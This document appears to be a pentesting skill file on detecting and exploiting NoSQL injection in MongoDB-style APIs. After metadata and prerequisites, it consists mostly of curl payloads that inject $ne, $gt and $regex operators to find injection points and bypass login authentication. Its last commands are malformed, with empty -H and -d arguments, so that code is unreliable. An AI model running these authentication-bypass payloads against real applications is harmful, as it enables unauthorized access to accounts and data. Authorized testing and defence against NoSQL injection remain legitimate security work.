exploiting-nosql-injection-vulnerabilities

name	exploiting-nosql-injection-vulnerabilities
description	Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.
domain	cybersecurity
subdomain	web-application-security
tags	["nosql-injection","mongodb","authentication-bypass","injection-attack","web-security","database-security","api-testing"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Exploiting NoSQL Injection Vulnerabilities

When to Use

• During web application penetration testing of applications using NoSQL databases
• When testing authentication mechanisms backed by MongoDB or similar databases
• When assessing APIs that accept JSON input for database queries
• During bug bounty hunting on applications with NoSQL backends
• When performing security code review of database query construction

Prerequisites

• Burp Suite Professional or Community Edition with JSON support
• NoSQLMap tool installed (pip install nosqlmap or from GitHub)
• Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
• Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
• Proxy configured for HTTP traffic interception
• Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H  \
  -d 


curl -X POST http://target.com/api/login \
  -H  \
  -d